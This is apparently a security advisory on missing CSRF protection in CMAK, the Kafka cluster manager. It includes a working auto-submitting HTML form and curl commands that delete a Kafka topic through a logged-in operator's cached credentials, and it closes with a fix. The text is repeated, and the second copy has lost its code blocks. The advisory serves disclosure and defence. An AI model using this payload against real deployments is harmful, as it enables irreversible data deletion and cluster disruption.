Affected Versions: all releases including 3.0.0.7 (confirmed on commit 30abfde; validated live on 3.0.0.x)
Summary
CMAK does not implement any CSRF protection. None of its state-changing POST endpoints validate an anti-CSRF token, and the only HTTP filter installed is the basic-authentication filter. When CMAK is deployed with authentication enabled (basic auth or LDAP, the only supported way to protect it), an attacker who lures an authenticated operator to a malicious web page can silently force destructive Kafka administration actions in that operator's session: deleting topics, triggering partition reassignment, running preferred-replica leader election, and adding, modifying or disabling clusters and broker/topic configuration. A single hidden auto-submitting form is enough to delete a production Kafka topic.
Details
Play Framework does not enable CSRF protection unless the application explicitly installs play.filters.csrf.CSRFFilter (or mixes in CSRFComponents / lists it in play.filters.enabled). CMAK uses a hand-written application loader and installs exactly one filter:
app/loader/KafkaManagerLoader.scala
override lazy val httpFilters: Seq[Filter] = Seq(BasicAuthenticationFilter(context.initialConfiguration))
That is the complete filter chain. There is no CSRFFilter, no play.filters.csrf configuration in conf/application.conf, and no per-action CSRF check. A grep of app/views confirms not a single view emits a CSRF token (@helper.CSRF, csrfToken, @b4.CSRFTokenName, etc. are absent), so the POST handlers have nothing to validate against.
All destructive operations are plain Action.async handlers that bind a form and act, with no token check. For example, topic deletion:
conf/routes
POST /clusters/:c/topics/delete controllers.Topic.handleDeleteTopic(c:String, t:String)
app/controllers/Topic.scala
def handleDeleteTopic(clusterName: String, topic: String) = Action.async { implicit request:Request[AnyContent] =>
featureGate(KMTopicManagerFeature) {
defaultDeleteForm.bindFromRequest.fold(
formWithErrors => ...,
deleteTopic => {
kafkaManager.deleteTopic(clusterName, deleteTopic.topic).map { errorOrSuccess => ... }
}
)
}
}
defaultDeleteForm requires only a topic text field, and the route binds the topic name t from the query string. There is no origin check, no token, no double-submit cookie. The same pattern applies to every state-changing route in conf/routes, including:
POST /clusters/:c/topics/delete (delete topic)
POST /clusters/:c/topics/create (create topic)
POST /clusters/:c/assignment, /assignment/generate, /assignments/run, /topics/:t/assignments/manual (partition reassignment)
POST /clusters/:c/leader, /leader/schedule, /leader/schedule/cancel (preferred replica election)
POST /clusters/:c/topics/:t/updateConfig, /brokers/:b/updateConfig (config changes)
POST /clusters, POST /clusters/:c (add / update / disable / delete cluster)
POST /clusters/:c/logkafkas/... (logkafka create/delete/config)
Why an authenticated victim's browser carries the credential cross-site:
- HTTP Basic Auth: once the operator authenticates, the browser caches the credentials for the CMAK origin and automatically attaches the
Authorization header to every subsequent request to that origin, including cross-site form submissions. The forged request is therefore authenticated.
- Session cookie: the basic-auth filter also sets a cookie to skip re-authentication:
app/controllers/BasicAuthenticationFilter.scala
private def cookie = Cookie(COOKIE_NAME, cookieValue, maxAge = Option(3600))
The cookie is set with no SameSite and no Secure attribute. Observed response header:
Set-Cookie: play-basic-authentication=YWRtaW5TM2NyZXRBZG1pblBhc3M=; Max-Age=3600; Path=/; HTTPOnly
The auth filter itself only decides whether to challenge; it performs no CSRF validation:
app/controllers/BasicAuthenticationFilter.scala
def apply(next: RequestHeader => Future[Result])(requestHeader: RequestHeader): Future[Result] =
if (configuration.enabled && isNotExcluded(requestHeader)) authenticator.checkAuthentication(requestHeader, next)
else next(requestHeader)
PoC
Deployment: CMAK with authentication enabled (the documented way to secure it), e.g. KAFKA_MANAGER_AUTH_ENABLED=true, KAFKA_MANAGER_USERNAME=admin, KAFKA_MANAGER_PASSWORD=..., managing a cluster named testcluster that has a topic victim-topic.
Attack: the operator is logged in to CMAK in their browser. They open an attacker page containing:
<html>
<body onload="document.forms[0].submit()">
<form action="http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" method="POST">
<input type="hidden" name="topic" value="victim-topic">
</form>
</body>
</html>
The browser submits the form to CMAK. The cached Basic-Auth credentials (and/or the no-SameSite cookie) are attached automatically, the request passes the auth filter, and CMAK deletes the topic. No CSRF token exists to stop it.
Reproduced live with curl, which simulates exactly what the victim's browser sends (only the auto-attached credential, a simple form body, no CSRF token):
- Confirm the topic exists:
$ curl -s -u admin:PASS http://CMAK-HOST:9000/api/status/testcluster/topics
{"topics":["__consumer_offsets","victim-topic"]}
- Forged cross-site delete via cached Basic-Auth replay (Authorization header present, NO cookie, NO token):
$ curl -s -D - -o /dev/null \
-H "Authorization: Basic YWRtaW46UEFTUw==" \
-H "Content-Type: application/x-www-form-urlencoded" \
-X POST "http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" \
--data "topic=victim-topic"
HTTP/1.1 200 OK
... response body says "Delete Topic" / "Done!" ...
- The same works with only the cookie (no Authorization header), proving the no-SameSite cookie is also a viable vector:
$ curl -s -o /dev/null -w "%{http_code}\n" \
-b "play-basic-authentication=YWRtaW5...=" \
-H "Content-Type: application/x-www-form-urlencoded" \
-X POST "http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" \
--data "topic=victim-topic"
200
- The topic is gone from both CMAK and Kafka:
$ curl -s -u admin:PASS http://CMAK-HOST:9000/api/status/testcluster/topics
{"topics":["__consumer_offsets"]}
The Content-Type: application/x-www-form-urlencoded body and the query-string parameter are both producible by a plain cross-origin HTML form, so no special CORS conditions or preflight are required.
Impact
Any CMAK deployment that relies on basic-auth or LDAP for access control is affected. An attacker who gets an authenticated operator to visit a web page (or render an image/iframe pointing at such a page) can perform any CMAK administrative action as that operator without ever knowing the password: delete Kafka topics (permanent data loss), reassign partitions and run leader elections (cluster disruption and rebalancing storms), change topic or broker configuration, and add, modify, disable or remove managed clusters. The most damaging single action, deleting a topic, destroys all of its data and is irreversible. This is a confidentiality-neutral but high integrity and high availability impact against the managed Kafka clusters. The fix is to enable Play's CSRF protection (install CSRFFilter, emit and require CSRF tokens on all POST forms) and to set SameSite=Strict and Secure on the authentication cookie.
Affected Versions: all releases including 3.0.0.7 (confirmed on commit 30abfde; validated live on 3.0.0.x)
Summary
CMAK does not implement any CSRF protection. None of its state-changing POST endpoints validate an anti-CSRF token, and the only HTTP filter installed is the basic-authentication filter. When CMAK is deployed with authentication enabled (basic auth or LDAP, the only supported way to protect it), an attacker who lures an authenticated operator to a malicious web page can silently force destructive Kafka administration actions in that operator's session: deleting topics, triggering partition reassignment, running preferred-replica leader election, and adding, modifying or disabling clusters and broker/topic configuration. A single hidden auto-submitting form is enough to delete a production Kafka topic.
Details
Play Framework does not enable CSRF protection unless the application explicitly installs
play.filters.csrf.CSRFFilter(or mixes inCSRFComponents/ lists it inplay.filters.enabled). CMAK uses a hand-written application loader and installs exactly one filter:app/loader/KafkaManagerLoader.scala
That is the complete filter chain. There is no
CSRFFilter, noplay.filters.csrfconfiguration in conf/application.conf, and no per-action CSRF check. A grep of app/views confirms not a single view emits a CSRF token (@helper.CSRF,csrfToken,@b4.CSRFTokenName, etc. are absent), so the POST handlers have nothing to validate against.All destructive operations are plain
Action.asynchandlers that bind a form and act, with no token check. For example, topic deletion:conf/routes
app/controllers/Topic.scala
defaultDeleteFormrequires only atopictext field, and the route binds the topic nametfrom the query string. There is no origin check, no token, no double-submit cookie. The same pattern applies to every state-changing route in conf/routes, including:POST /clusters/:c/topics/delete(delete topic)POST /clusters/:c/topics/create(create topic)POST /clusters/:c/assignment,/assignment/generate,/assignments/run,/topics/:t/assignments/manual(partition reassignment)POST /clusters/:c/leader,/leader/schedule,/leader/schedule/cancel(preferred replica election)POST /clusters/:c/topics/:t/updateConfig,/brokers/:b/updateConfig(config changes)POST /clusters,POST /clusters/:c(add / update / disable / delete cluster)POST /clusters/:c/logkafkas/...(logkafka create/delete/config)Why an authenticated victim's browser carries the credential cross-site:
Authorizationheader to every subsequent request to that origin, including cross-site form submissions. The forged request is therefore authenticated.app/controllers/BasicAuthenticationFilter.scala
The cookie is set with no
SameSiteand noSecureattribute. Observed response header:The auth filter itself only decides whether to challenge; it performs no CSRF validation:
app/controllers/BasicAuthenticationFilter.scala
PoC
Deployment: CMAK with authentication enabled (the documented way to secure it), e.g.
KAFKA_MANAGER_AUTH_ENABLED=true,KAFKA_MANAGER_USERNAME=admin,KAFKA_MANAGER_PASSWORD=..., managing a cluster namedtestclusterthat has a topicvictim-topic.Attack: the operator is logged in to CMAK in their browser. They open an attacker page containing:
The browser submits the form to CMAK. The cached Basic-Auth credentials (and/or the no-SameSite cookie) are attached automatically, the request passes the auth filter, and CMAK deletes the topic. No CSRF token exists to stop it.
Reproduced live with curl, which simulates exactly what the victim's browser sends (only the auto-attached credential, a simple form body, no CSRF token):
The
Content-Type: application/x-www-form-urlencodedbody and the query-string parameter are both producible by a plain cross-origin HTML form, so no special CORS conditions or preflight are required.Impact
Any CMAK deployment that relies on basic-auth or LDAP for access control is affected. An attacker who gets an authenticated operator to visit a web page (or render an image/iframe pointing at such a page) can perform any CMAK administrative action as that operator without ever knowing the password: delete Kafka topics (permanent data loss), reassign partitions and run leader elections (cluster disruption and rebalancing storms), change topic or broker configuration, and add, modify, disable or remove managed clusters. The most damaging single action, deleting a topic, destroys all of its data and is irreversible. This is a confidentiality-neutral but high integrity and high availability impact against the managed Kafka clusters. The fix is to enable Play's CSRF protection (install
CSRFFilter, emit and require CSRF tokens on all POST forms) and to setSameSite=StrictandSecureon the authentication cookie.